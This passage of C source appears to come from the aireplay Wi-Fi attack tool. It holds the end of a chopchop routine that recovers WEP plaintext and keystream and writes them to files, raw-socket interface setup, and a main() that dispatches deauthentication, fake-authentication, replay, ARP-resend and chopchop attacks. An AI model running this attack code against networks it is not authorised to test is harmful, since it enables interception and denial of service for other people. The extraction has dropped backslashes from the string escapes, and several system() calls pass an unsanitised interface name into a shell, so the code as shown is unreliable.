  2003.             opt.r_dmac[3] = rand() & 0xFF;
  2004.             opt.r_dmac[4] = rand() & 0xFF;
  2005.         }
  2007.         ticks[3]        = 0;
  2008.         nb_pkt_sent     = 0;
  2009.         nb_bad_pkt      = 0;
  2010.         guess           = 256;
  2012.         data_end--;
  2014.         alarm( 0 );
  2015.     }
  2017.     /* reveal the plaintext (chopped contains the prga) */
  2019.     memcpy( h80211, srcbuf, caplen );
  2021.     z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
  2023.     chopped[z + 4] = srcbuf[z + 4] ^ 0xAA;
  2024.     chopped[z + 5] = srcbuf[z + 5] ^ 0xAA;
  2025.     chopped[z + 6] = srcbuf[z + 6] ^ 0x03;
  2026.     chopped[z + 7] = srcbuf[z + 7] ^ 0x00;
  2027.     chopped[z + 8] = srcbuf[z + 8] ^ 0x00;
  2028.     chopped[z + 9] = srcbuf[z + 9] ^ 0x00;
  2030.     for( i = z + 4; i < (int) caplen; i++ )
  2031.         h80211[i - 4] = h80211[i] ^ chopped[i];
  2033.     if( ! check_crc_buf( h80211 + z, caplen - z - 8 ) )
  2034.         printf( "nWarning: ICV checksum verification FAILED!n" );
  2036.     caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */
  2038.     h80211[1] &= 0xBF;   /* remove the WEP bit, too */
  2040.     /* save the decrypted packet */
  2042.     gettimeofday( &tv, NULL );
  2044.     pfh_out.magic         = TCPDUMP_MAGIC;
  2045.     pfh_out.version_major = PCAP_VERSION_MAJOR;
  2046.     pfh_out.version_minor = PCAP_VERSION_MINOR;
  2047.     pfh_out.thiszone      = 0;
  2048.     pfh_out.sigfigs       = 0;
  2049.     pfh_out.snaplen       = 65535;
  2050.     pfh_out.linktype      = LINKTYPE_IEEE802_11;
  2052.     pkh.tv_sec  = tv.tv_sec;
  2053.     pkh.tv_usec = tv.tv_usec;
  2054.     pkh.caplen  = caplen;
  2055.     pkh.len     = caplen;
  2057.     lt = localtime( &tv.tv_sec );
  2059.     memset( strbuf, 0, sizeof( strbuf ) );
  2060.     snprintf( strbuf,  sizeof( strbuf ) - 1,
  2061.               "replay_dec-%02d%02d-%02d%02d%02d.cap",
  2062.               lt->tm_mon + 1, lt->tm_mday,
  2063.               lt->tm_hour, lt->tm_min, lt->tm_sec );
  2065.     printf( "nSaving plaintext in %sn", strbuf );
  2067.     if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
  2068.     {
  2069.         perror( "fopen failed" );
  2070.         return( 1 );
  2071.     }
  2073.     n = sizeof( struct pcap_file_header );
  2075.     if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
  2076.     {
  2077.         perror( "fwrite failedn" );
  2078.         return( 1 );
  2079.     }
  2081.     n = sizeof( pkh );
  2083.     if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
  2084.     {
  2085.         perror( "fwrite failed" );
  2086.         return( 1 );
  2087.     }
  2089.     n = pkh.caplen;
  2091.     if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
  2092.     {
  2093.         perror( "fwrite failed" );
  2094.         return( 1 );
  2095.     }
  2097.     fclose( f_cap_out );
  2099.     /* save the RC4 stream (xor mask) */
  2101.     memset( strbuf, 0, sizeof( strbuf ) );
  2102.     snprintf( strbuf,  sizeof( strbuf ) - 1,
  2103.               "replay_dec-%02d%02d-%02d%02d%02d.xor",
  2104.               lt->tm_mon + 1, lt->tm_mday,
  2105.               lt->tm_hour, lt->tm_min, lt->tm_sec );
  2107.     printf( "Saving keystream in %sn", strbuf );
  2109.     if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
  2110.     {
  2111.         perror( "fopen failed" );
  2112.         return( 1 );
  2113.     }
  2115.     n = pkh.caplen + 8 - z;
  2117.     if( fwrite( chopped + z, n, 1, f_cap_out ) != 1 )
  2118.     {
  2119.         perror( "fwrite failed" );
  2120.         return( 1 );
  2121.     }
  2123.     fclose( f_cap_out );
  2125.     printf( "nCompleted in %lds (%0.2f bytes/s)nn",
  2126.             time( NULL ) - tt,
  2127.             (float) ( pkh.caplen - 6 - z ) / 
  2128.             (float) ( time( NULL ) - tt  ) );
  2130.     return( 0 );
  2131. }
  2133. /* interface initialization routine */
  2135. int openraw( char *iface, int fd, int *arptype )
  2136. {
  2137.     struct ifreq ifr;
  2138.     struct packet_mreq mr;
  2139.     struct sockaddr_ll sll;
  2141.     /* find the interface index */
  2143.     memset( &ifr, 0, sizeof( ifr ) );
  2144.     strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 );
  2146.     if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 )
  2147.     {
  2148.         perror( "ioctl(SIOCGIFINDEX) failed" );
  2149.         return( 1 );
  2150.     }
  2152.     /* bind the raw socket to the interface */
  2154.     memset( &sll, 0, sizeof( sll ) );
  2155.     sll.sll_family   = AF_PACKET;
  2156.     sll.sll_ifindex  = ifr.ifr_ifindex;
  2158.     if( dev.is_wlanng )
  2159.         sll.sll_protocol = htons( ETH_P_80211_RAW );
  2160.     else
  2161.         sll.sll_protocol = htons( ETH_P_ALL );
  2163.     if( bind( fd, (struct sockaddr *) &sll,
  2164.               sizeof( sll ) ) < 0 )
  2165.     {
  2166.         perror( "bind(ETH_P_ALL) failed" );
  2167.         return( 1 );
  2168.     }
  2170.     /* lookup the hardware type */
  2172.     if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 )
  2173.     {
  2174.         perror( "ioctl(SIOCGIFHWADDR) failed" );
  2175.         return( 1 );
  2176.     }
  2178.     if( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 &&
  2179.         ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM &&
  2180.         ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL )
  2181.     {
  2182.         if( ifr.ifr_hwaddr.sa_family == 1 )
  2183.             fprintf( stderr, "nARP linktype is set to 1 (Ethernet) " );
  2184.         else
  2185.             fprintf( stderr, "nUnsupported hardware link type %4d ",
  2186.                      ifr.ifr_hwaddr.sa_family );
  2188.         fprintf( stderr, "- expected ARPHRD_IEEE80211nor ARPHRD_IEEE8021"
  2189.                          "1_PRISM instead.  Make sure RFMON is enabled:n"
  2190.                          "run 'ifconfig %s up; iwconfig %s mode Monitor "
  2191.                          "channel <#>'nn", iface, iface );
  2192.         return( 1 );
  2193.     }
  2195.     *arptype = ifr.ifr_hwaddr.sa_family;
  2197.     /* enable promiscuous mode */
  2199.     memset( &mr, 0, sizeof( mr ) );
  2200.     mr.mr_ifindex = sll.sll_ifindex;
  2201.     mr.mr_type    = PACKET_MR_PROMISC;
  2203.     if( setsockopt( fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP,
  2204.                     &mr, sizeof( mr ) ) < 0 )
  2205.     {
  2206.         perror( "setsockopt(PACKET_MR_PROMISC) failed" );
  2207.         return( 1 );
  2208.     }
  2210.     return( 0 );
  2211. }
  2213. /* MAC address parsing routine */
  2215. int getmac( char *s, unsigned char *mac )
  2216. {
  2217.     int i = 0, n;
  2219.     while( sscanf( s, "%x", &n ) == 1 )
  2220.     {
  2221.         if( n < 0 || n > 255 )
  2222.             return( 1 );
  2224.         mac[i] = n;
  2226.         if( ++i == 6 ) break;
  2228.         if( ! ( s = strchr( s, ':' ) ) )
  2229.             break;
  2231.         s++;
  2232.     }
  2234.     return( i != 6 );
  2235. }
  2237. char athXraw[] = "athXraw";
  2239. int main( int argc, char *argv[] )
  2240. {
  2241.     int n;
  2243.     if( geteuid() != 0 )
  2244.     {
  2245.         printf( "This program requires root privileges.n" );
  2246.         return( 1 );
  2247.     }
  2249.     /* check the arguments */
  2251.     memset( &opt, 0, sizeof( opt ) );
  2253.     opt.f_type    = -1; opt.f_subtype   = -1;
  2254.     opt.f_minlen  = -1; opt.f_maxlen    = -1;
  2255.     opt.f_tods    = -1; opt.f_fromds    = -1;
  2256.     opt.f_iswep   = -1;
  2258.     opt.a_mode    = -1; opt.r_fctrl     = -1;
  2260.     while( 1 )
  2261.     {
  2262.         int option = getopt( argc, argv,
  2263.                         "b:d:s:m:n:u:v:t:f:w:x:p:a:c:h:e:j:i:r:0:1:234" );
  2265.         if( option < 0 ) break;
  2267.         switch( option )
  2268.         {
  2269.             case 'b' :
  2271.                 if( getmac( optarg, opt.f_bssid ) != 0 )
  2272.                 {
  2273.                     printf( "Invalid BSSID (AP MAC address).n" );
  2274.                     return( 1 );
  2275.                 }
  2276.                 break;
  2278.             case 'd' :
  2280.                 if( getmac( optarg, opt.f_dmac ) != 0 )
  2281.                 {
  2282.                     printf( "Invalid destination MAC address.n" );
  2283.                     return( 1 );
  2284.                 }
  2285.                 break;
  2287.             case 's' :
  2289.                 if( getmac( optarg, opt.f_smac ) != 0 )
  2290.                 {
  2291.                     printf( "Invalid source MAC address.n" );
  2292.                     return( 1 );
  2293.                 }
  2294.                 break;
  2296.             case 'm' :
  2298.                 sscanf( optarg, "%d", &opt.f_minlen );
  2299.                 if( opt.f_minlen < 0 )
  2300.                 {
  2301.                     printf( "Invalid minimum length filter.n" );
  2302.                     return( 1 );
  2303.                 }
  2304.                 break;
  2306.             case 'n' :
  2308.                 sscanf( optarg, "%d", &opt.f_maxlen );
  2309.                 if( opt.f_maxlen < 0 )
  2310.                 {
  2311.                     printf( "Invalid maximum length filter.n" );
  2312.                     return( 1 );
  2313.                 }
  2314.                 break;
  2316.             case 'u' :
  2318.                 sscanf( optarg, "%d", &opt.f_type );
  2319.                 if( opt.f_type < 0 || opt.f_type > 3 )
  2320.                 {
  2321.                     printf( "Invalid type filter.n" );
  2322.                     return( 1 );
  2323.                 }
  2324.                 break;
  2326.             case 'v' :
  2328.                 sscanf( optarg, "%d", &opt.f_subtype );
  2329.                 if( opt.f_subtype < 0 || opt.f_subtype > 15 )
  2330.                 {
  2331.                     printf( "Invalid subtype filter.n" );
  2332.                     return( 1 );
  2333.                 }
  2334.                 break;
  2336.             case 't' :
  2338.                 sscanf( optarg, "%d", &opt.f_tods );
  2339.                 if( opt.f_tods != 0 && opt.f_tods != 1 )
  2340.                 {
  2341.                     printf( "Invalid tods filter.n" );
  2342.                     return( 1 );
  2343.                 }
  2344.                 break;
  2346.             case 'f' :
  2348.                 sscanf( optarg, "%d", &opt.f_fromds );
  2349.                 if( opt.f_fromds != 0 && opt.f_fromds != 1 )
  2350.                 {
  2351.                     printf( "Invalid fromds filter.n" );
  2352.                     return( 1 );
  2353.                 }
  2354.                 break;
  2356.             case 'w' :
  2358.                 sscanf( optarg, "%d", &opt.f_iswep );
  2359.                 if( opt.f_iswep != 0 && opt.f_iswep != 1 )
  2360.                 {
  2361.                     printf( "Invalid wep filter.n" );
  2362.                     return( 1 );
  2363.                 }
  2364.                 break;
  2366.             case 'x' :
  2368.                 sscanf( optarg, "%d", &opt.r_nbpps );
  2369.                 if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 )
  2370.                 {
  2371.                     printf( "Invalid number of packets per second.n" );
  2372.                     return( 1 );
  2373.                 }
  2374.                 break;
  2376.             case 'p' :
  2378.                 sscanf( optarg, "%x", &opt.r_fctrl );
  2379.                 if( opt.r_fctrl < 0 || opt.r_fctrl > 65355 )
  2380.                 {
  2381.                     printf( "Invalid frame control word.n" );
  2382.                     return( 1 );
  2383.                 }
  2384.                 break;
  2386.             case 'a' :
  2388.                 if( getmac( optarg, opt.r_bssid ) != 0 )
  2389.                 {
  2390.                     printf( "Invalid AP MAC address.n" );
  2391.                     return( 1 );
  2392.                 }
  2393.                 break;
  2395.             case 'c' :
  2397.                 if( getmac( optarg, opt.r_dmac ) != 0 )
  2398.                 {
  2399.                     printf( "Invalid destination MAC address.n" );
  2400.                     return( 1 );
  2401.                 }
  2402.                 break;
  2404.             case 'h' :
  2406.                 if( getmac( optarg, opt.r_smac ) != 0 )
  2407.                 {
  2408.                     printf( "Invalid source MAC address.n" );
  2409.                     return( 1 );
  2410.                 }
  2411.                 break;
  2413.             case 'e' :
  2415.                 memset(  opt.r_essid, 0, sizeof( opt.r_essid ) );
  2416.                 strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 );
  2417.                 break;
  2419.             case 'j' :
  2421.                 opt.r_fromdsinj = 1;
  2422.                 break;
  2424.             case 'i' :
  2426.                 if( opt.s_face != NULL || opt.s_file )
  2427.                 {
  2428.                     printf( "Packet source already specified.n" );
  2429.                     return( 1 );
  2430.                 }
  2431.                 opt.s_face = optarg;
  2432.                 break;
  2434.             case 'r' :
  2436.                 if( opt.s_face != NULL || opt.s_file )
  2437.                 {
  2438.                     printf( "Packet source already specified.n" );
  2439.                     return( 1 );
  2440.                 }
  2441.                 opt.s_file = optarg;
  2442.                 break;
  2444.             case '0' :
  2446.                 if( opt.a_mode != -1 )
  2447.                 {
  2448.                     printf( "Attack mode already specified.n" );
  2449.                     return( 1 );
  2450.                 }
  2451.                 opt.a_mode = 0;
  2453.                 sscanf( optarg, "%d", &opt.a_count );
  2454.                 if( opt.a_count < 0 )
  2455.                 {
  2456.                     printf( "Invalid deauthentication count.n" );
  2457.                     return( 1 );
  2458.                 }
  2459.                 break;
  2461.             case '1' :
  2463.                 if( opt.a_mode != -1 )
  2464.                 {
  2465.                     printf( "Attack mode already specified.n" );
  2466.                     return( 1 );
  2467.                 }
  2468.                 opt.a_mode = 1;
  2470.                 sscanf( optarg, "%d", &opt.a_delay );
  2471.                 if( opt.a_delay < 0 )
  2472.                 {
  2473.                     printf( "Invalid reauthentication delay.n" );
  2474.                     return( 1 );
  2475.                 }
  2476.                 break;
  2478.             case '2' :
  2480.                 if( opt.a_mode != -1 )
  2481.                 {
  2482.                     printf( "Attack mode already specified.n" );
  2483.                     return( 1 );
  2484.                 }
  2485.                 opt.a_mode = 2;
  2486.                 break;
  2488.             case '3' :
  2490.                 if( opt.a_mode != -1 )
  2491.                 {
  2492.                     printf( "Attack mode already specified.n" );
  2493.                     return( 1 );
  2494.                 }
  2495.                 opt.a_mode = 3;
  2496.                 break;
  2498.             case '4' :
  2500.                 if( opt.a_mode != -1 )
  2501.                 {
  2502.                     printf( "Attack mode already specified.n" );
  2503.                     return( 1 );
  2504.                 }
  2505.                 opt.a_mode = 4;
  2506.                 break;
  2508.             default : goto usage;
  2509.         }
  2510.     }
  2512.     if( argc - optind < 1 || argc - optind > 2 )
  2513.     {
  2514.     usage:
  2515.         printf( usage, _MAJ, _MIN );
  2516.         return( 1 );
  2517.     }
  2519.     if( opt.a_mode == -1 )
  2520.     {
  2521.         printf( "Please specify an attack mode.n" );
  2522.         return( 1 );
  2523.     }
  2525.     if( opt.f_minlen > opt.f_maxlen )
  2526.     {
  2527.         printf( "Invalid length filter (%d > %d).n",
  2528.                 opt.f_minlen, opt.f_maxlen );
  2529.         return( 1 );
  2530.     }
  2532.     memset( &dev, 0, sizeof( dev ) );
  2534.     dev.fd_rtc = -1;
  2536.     /* open the RTC device if necessary */
  2538. #ifdef __i386__
  2539.     if( opt.a_mode > 1 )
  2540.     {
  2541.         if( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 )
  2542.         {
  2543.             perror( "open(/dev/rtc) failed" );
  2544.         }
  2545.         else
  2546.         {
  2547.             if( ioctl( dev.fd_rtc, RTC_IRQP_SET, 1024 ) < 0 )
  2548.             {
  2549.                 perror( "ioctl(RTC_IRQP_SET) failed" );
  2550.                 printf(
  2551. "Make sure enhanced rtc device support is enabled in the kernel (modulen"
  2552. "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.n" );
  2553.                 close( dev.fd_rtc );
  2554.                 dev.fd_rtc = -1;
  2555.             }
  2556.             else
  2557.             {
  2558.                 if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 )
  2559.                 {
  2560.                     perror( "ioctl(RTC_PIE_ON) failed" );
  2561.                     close( dev.fd_rtc );
  2562.                     dev.fd_rtc = -1;
  2563.                 }
  2564.             }
  2565.         }
  2566.     }
  2567. #endif
  2569.     /* create the RAW sockets */
  2571.     if( ( dev.fd_in = socket( PF_PACKET, SOCK_RAW,
  2572.                               htons( ETH_P_ALL ) ) ) < 0 )
  2573.     {
  2574.         perror( "socket(PF_PACKET) failed" );
  2575.         if( getuid() != 0 )
  2576.             fprintf( stderr, "This program requires root privileges.n" );
  2577.         return( 1 );
  2578.     }
  2580.     if( ( dev.fd_out = socket( PF_PACKET, SOCK_RAW,
  2581.                                htons( ETH_P_ALL ) ) ) < 0 )
  2582.     {
  2583.         perror( "socket(PF_PACKET) failed" );
  2584.         return( 1 );
  2585.     }
  2587.     /* check if wlan-ng or hostap or r8180 */
  2589.     if( strlen( argv[optind] ) == 5 &&
  2590.         memcmp( argv[optind], "wlan", 4 ) == 0 )
  2591.     {
  2592.         memset( strbuf, 0, sizeof( strbuf ) );
  2593.         snprintf( strbuf,  sizeof( strbuf ) - 1,
  2594.                   "wlancfg show %s 2>/dev/null | "
  2595.                   "grep p2CnfWEPFlags >/dev/null",
  2596.                   argv[optind] );
  2598.         if( system( strbuf ) == 0 )
  2599.             dev.is_wlanng = 1;
  2601.         memset( strbuf, 0, sizeof( strbuf ) );
  2602.         snprintf( strbuf,  sizeof( strbuf ) - 1,
  2603.                   "iwpriv %s 2>/dev/null | "
  2604.                   "grep antsel_rx >/dev/null",
  2605.                   argv[optind] );
  2607.         if( system( strbuf ) == 0 )
  2608.             dev.is_hostap = 1;
  2609.     }
  2611.     /* enable injection on ralink */
  2613.     if( strcmp( argv[optind], "ra0" ) == 0 ||
  2614.         strcmp( argv[optind], "ra1" ) == 0 ||
  2615.         strcmp( argv[optind], "rausb0" ) == 0 ||
  2616.         strcmp( argv[optind], "rausb1" ) == 0 )
  2617.     {
  2618.         memset( strbuf, 0, sizeof( strbuf ) );
  2619.         snprintf( strbuf,  sizeof( strbuf ) - 1,
  2620.                   "iwpriv %s rfmontx 1 &>/dev/null",
  2621.                   argv[optind] );
  2622.         system( strbuf );
  2623.     }
  2625.     /* check if newer athXraw interface available */
  2627.     if( strlen( argv[optind] ) == 4 &&
  2628.         memcmp( argv[optind], "ath", 3 ) == 0 )
  2629.     {
  2630.         memset( strbuf, 0, sizeof( strbuf ) );
  2631.         snprintf( strbuf,  sizeof( strbuf ) - 1,
  2632.                   "sysctl -w dev.%s.rawdev=1 &>/dev/null",
  2633.                   argv[optind] );
  2635.         if( system( strbuf ) == 0 )
  2636.         {
  2637.             athXraw[3] = argv[optind][3];
  2639.             memset( strbuf, 0, sizeof( strbuf ) );
  2640.             snprintf( strbuf,  sizeof( strbuf ) - 1,
  2641.                       "ifconfig %s up", athXraw );
  2642.             system( strbuf );
  2644. #if 0 /* some people reported problems when prismheader is enabled */
  2645.             memset( strbuf, 0, sizeof( strbuf ) );
  2646.             snprintf( strbuf,  sizeof( strbuf ) - 1,
  2647.                      "sysctl -w dev.%s.rawdev_type=1 &>/dev/null",
  2648.                      argv[optind] );
  2649.             system( strbuf );
  2650. #endif
  2652.             argv[optind] = athXraw;
  2653.         }
  2654.     }
  2656.     /* drop privileges */
  2658.     setuid( getuid() );
  2660.     if( opt.r_nbpps == 0 )
  2661.     {
  2662.         if( dev.is_wlanng || dev.is_hostap )
  2663.             opt.r_nbpps = 200;
  2664.         else
  2665.             opt.r_nbpps = 500;
  2666.     }
  2668.     /* open the replay interface */
  2670.     dev.is_madwifi = ( memcmp( argv[optind], "ath", 3 ) == 0 );
  2672.     if( openraw( argv[optind], dev.fd_out, &dev.arptype_out ) != 0 )
  2673.         return( 1 );
  2675.     /* open the packet source */
  2677.     if( opt.s_face != NULL )
  2678.     {
  2679.         dev.is_madwifi = ( memcmp( opt.s_face, "ath", 3 ) == 0 );
  2681.         if( openraw( opt.s_face, dev.fd_in, &dev.arptype_in ) != 0 )
  2682.             return( 1 );
  2683.     }
  2684.     else
  2685.     {
  2686.         dev.fd_in = dev.fd_out;
  2687.         dev.arptype_in = dev.arptype_out;
  2688.     }
  2690.     if( opt.s_file != NULL )
  2691.     {
  2692.         if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) )
  2693.         {
  2694.             perror( "open failed" );
  2695.             return( 1 );
  2696.         }
  2698.         n = sizeof( struct pcap_file_header );
  2700.         if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n )
  2701.         {
  2702.             perror( "fread(pcap file header) failed" );
  2703.             return( 1 );
  2704.         }
  2706.         if( dev.pfh_in.magic != TCPDUMP_MAGIC &&
  2707.             dev.pfh_in.magic != TCPDUMP_CIGAM )
  2708.         {
  2709.             fprintf( stderr, ""%s" isn't a pcap file (expected "
  2710.                              "TCPDUMP_MAGIC).n", opt.s_file );
  2711.             return( 1 );
  2712.         }
  2714.         if( dev.pfh_in.magic == TCPDUMP_CIGAM )
  2715.             SWAP32(dev.pfh_in.linktype);
  2717.         if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 &&
  2718.             dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER )
  2719.         {
  2720.             fprintf( stderr, "Wrong linktype from pcap file header "
  2721.                              "(expected LINKTYPE_IEEE802_11) -n"
  2722.                              "this doesn't look like a regular 802.11 "
  2723.                              "capture.n" );
  2724.             return( 1 );
  2725.         }
  2726.     }
  2728.     switch( opt.a_mode )
  2729.     {
  2730.         case 0 : return( do_attack_deauth()      );
  2731.         case 1 : return( do_attack_fake_auth()   );
  2732.         case 2 : return( do_attack_interactive() );
  2733.         case 3 : return( do_attack_arp_resend()  );
  2734.         case 4 : return( do_attack_chopchop()    );
  2735.         default: break;
  2736.     }
  2738.     /* that's all, folks */
  2740.     return( 0 );
  2741. }